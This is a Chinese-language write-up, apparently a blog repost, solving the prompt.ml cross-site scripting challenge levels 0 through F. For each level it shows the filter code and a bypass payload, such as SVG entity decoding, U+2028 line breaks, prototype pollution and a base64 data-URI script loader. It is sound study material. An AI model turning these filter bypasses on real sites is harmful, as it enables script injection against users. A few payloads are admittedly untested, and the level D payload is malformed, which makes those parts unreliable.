prompt(1) to win


prompt(1) to win

鑒於之前實戰發現自己對漏洞的理解比較淺薄,而且缺少積累,所以決定拿出一部分精力來練習,以彌補不足之處。

平台鏈接:http://prompt.ml/

這個平台要用prompt(1)而非alert(1)

level 0

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}   

把input直接拼接,用引號閉合即可

payload"><script>alert(1)</script>

level 1

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    // g,全局匹配, i,忽略大小寫
    input = input.replace(stripTagsRE, '');
    return '<article>' + input + '</article>';
}    

過濾了<xxx>, </xxx>,就是說標簽不能閉合,搜了一下,可以用注釋符//閉合標簽

payload<img src=2 onerror="prompt(1)" //

level 2

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');
    // ok seriously, disallows equal signs and open parenthesis
    return input;
}    

過濾了[, =, (,],emmmm,幾乎是都用不了,需要用編碼(HTML實體編碼)繞過,而編碼解析后不會被當作標簽,只有<svg>標簽是例外,svg標簽后的內容會被當作XML先進行HTML解碼,然后再解析

payload<svg><script>prompt&#40;&#49;&#41;</script>

level 3

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');
    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
}  

->替換成_,emmmm,得像個辦法bypass注釋,想到了條件注釋,但是非IE情況下,條件注釋格式為

<!--[if !IE]>HTML_CODE<!--<![endif]-->但是條件注釋只有IE才會執行, = =

搜了下,發現也可以用--!>來閉合注釋

payload--!><script>prompt(1)</script>

level 4

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}    

正則表達式要求必須是https://prompt.ml開頭的地址,emmmm,想了半天沒有思緒,去看了wp

瀏覽器支持這樣的URLhttp://user:password@xxxxx.xxx,是以user:password為憑據去請求xxxxx.xxx

這里是要用URL參數里的@來加載js文件,

scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

http//user:password/@xxxxx.xxx后邊加一個斜杠是不允許的,而代碼中有decodeURIComponent所以用%2f代替/

payloadhttp://prompt.ml%2f@example.com需要本地服務器或者vps,我都沒成功,訪問其他網頁也都不行

= = 不知道是怎么回事,如果有人知道的話,請告訴我一下,謝謝。

level 5

function escape(input) {
    // apply strict filter rules of level 1
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');
    return '<input value="' + input + '" type="text">';
} 

level 1 的加強版,過濾了>, onxxx=, focus忽略大小寫,想起了前邊用的注釋封閉,但是前邊的input標簽沒法封閉,所以只能在input標簽里完成,想到src的javascript偽協議,src屬性只有type=image的時候才會起作用,所以覆蓋type,然后寫入src asd" type="image" src="javascript:alert(1),無法運行,自己寫了個腳本試驗了下,也不行,emmmmm,又去看了wp

這里的onxxxxx=可以用換行繞過,漲姿勢了

payload asd" type="image" src=1 onerror

=prompt(1)

level 6

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}  

= =突然變長

代碼的大概意思是,把輸入的鏈接,比如http://httpbin.org/post#{"name":"Matt"}轉換成一個post方式的form表單,表單內容是#后的json,然后會自動檢測actionURL的內容,如果沒有script:, data:, sbscript:,就會提交

這里我想的是,構造一個網站,返回<script>prompt(1)</script>,成功了。但是覺得和這里的情景不太相符,去看了wp = = (tcl

這里運用到的是action的特性,如果前后都有action,訪問action的時候會訪問后面的值。

所以用一個input來冒充action即可

payloadjavascript:prompt(1)#{"action":1}

休息了好幾天了,覺得效率很低,還是得做題,做題不能停

越做越覺得自己是井底之蛙 = = ,qtmd,奧里給,我先干了

level 7

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}  

這段代碼的作用是把輸入的aaa#bbb#ccc根據#切片,每一個都會生成一個p標簽,輸入的值是title(長度<=12)

這道題想到了要用注釋,但是沒有找到正確的注釋使用方法

這里用的是<script>標簽的注釋功能

payload"><script>/*#*/prompt/*#*/(1)/*#*/</script>"

level 8

function escape(input) {
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return '                                \n\
<script>                                    \n\
    // console.log("' + input + '");        \n\
</script> ';
}   

把輸入放到//注釋里,過濾了\r, \n, <, /

編碼繞過編碼繞過編碼繞過,這個思想很重要很重要,得記下了。

這里用到的知識點

  • U+2028是unicode的換行符(bypass注釋)
  • -->在js種可當注釋使用(bypass過濾)

payload"\u2028prompt(1)\u2028-->"把這一串復制到console里,然后把結果復制出來就可以了

特殊字符不會顯示出來,想要看到特殊字符的話,把結果復制出來,再粘貼會console就能看到

level 9

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '<h1>' + input + '</h1>';
}    

過濾了< + 字母的所有情況,並且把字母都轉換為大寫,最后把大寫后的輸入嵌入到h1標簽里

這道題又是知識盲區 = =!

這里要用到的是toUpperCase()函數的一個特性:可以把部分unicode轉義,這里用的s的一個其他編碼ſ

payload<ſcript ſrc="http://localhost/prompt.js"></ſcript>

level A

function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
} 

把輸入進行URI編碼,用alert替換掉prompt,過濾掉',然后嵌入到script標簽里

!!!又是一個很重要的思想,利用過濾來重建payload

payloadpro'mpt(1),函數會會自動過濾掉'

level B

function escape(input) {
    // name should not contain special characters
    var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

    // data to be parsed as JSON
    var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

    // directly "parse" data in script context
    return '                                \n\
<script>                                    \n\
    var data = ' + dataString + ';          \n\
    if (data.action === "login")            \n\
        document.write(data.message)        \n\
</script> ';
}  

過濾了[|\s+*/\\<>&^:;=~!%-這里的\s表示匹配空白

這道題用到的知識點

  • (prompt(1)) instanceof"1" 和 (prompt(1)) in"1"可以運行
  • 例如(prompt(1))in'asd'雖然會報錯,但時已經執行

payload"(prompt(1))in"

level C

function escape(input) {
    // in Soviet Russia...
    input = encodeURIComponent(input).replace(/'/g, '');
    // table flips you!
    input = input.replace(/prompt/g, 'alert');

    // ノ┬─┬ノ ︵ ( \o°o)\
    return '<script>' + input + '</script> ';
} 

URL編碼,過濾掉',用alert替換掉prompt,就是level A的兩個過濾調換了順序

這道題可以用數字來代替

parseInt(string,x)生成用x進制表示的string

payload(eval((867982141).toString(32)))(1)

level D

 function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        // purify the source by stripping off "
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
} 

代碼大致意思是,輸入的json會傳入source的字典,然后加到config里,刪掉以字母數字下划線/開頭的source,並過濾source里的",嵌入到img標簽的src里

這里用到的知識點:

  • 原型鏈污染(這里推兩篇文章,xxxxxx,講的都不錯

  • 訪問對象的屬性的時候,如果該屬性不存在,就會去__proto__里面找

  • js的replace神奇用法

    Pattern Inserts
    $$ Inserts a “$”.
    $& 插入匹配子串
    $` 插入匹配子串之前的內容
    $’ 插入匹配子串之后的內容
    $n 當n是小於100的正整數時,插入第n個正則表達式相匹配的內容

    payload{"source":{}."__proto__":{"source"L"$onerror=prompt(1)>"}}`

level E

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}       

輸入:

  • 轉換到大寫

  • data:替換//字母數字下划線:

  • _替換含有\&+%空白字符的串或者vbs

  • 嵌入img標簽的src里

大概想到了href/src里的data用法,但限制有點多,不知道怎么處理,去看了wp

這道題大概思路是,因為xx:會被替換為data:,所以可以用編碼繞過,看了好幾篇wp,都是說沒法成功,官方wp也不行,= =,先把payload貼上吧

payload"><IFRAME/SRC="x:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjEvcHJvbXB0LmpzIj48L3NjcmlwdD4=">

可以在網頁源碼里看到解析出的都是亂碼,所以

這里需要一個瀏覽器支持的,而且全大寫的編碼來bypass,base16和32都是全大寫+數字,但是不支持

去看了MDN的文檔,data:[<mediatype>][;base64],<data>,只支持base64

試了還多方法,都不行,也去問了syh大哥,也是沒得辦法,先過了吧

level F

function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
        // title can only contain 15 characters
        return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
}  

輸入:

  • 過濾*
  • 根據#切片
  • 返回p標簽,title是輸入的值,index是遞增自變量

ban掉了多行注釋/**/但是還有<!--,但這個是html注釋,在html解析的時候才會生效,所以需要添加<svg>標簽來加載一次解析

payload"><svg><!--#--><script><!--#-->prompt<!--#-->(1)<!--#--></script>

總結

我tcl,還得多淦

看了好多wp

https://blog.csdn.net/weixin_30618985/article/details/99755279

https://althims.com/2019/08/13/prompt-to-win-wp/

https://xz.aliyun.com/t/4507#toc-10


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM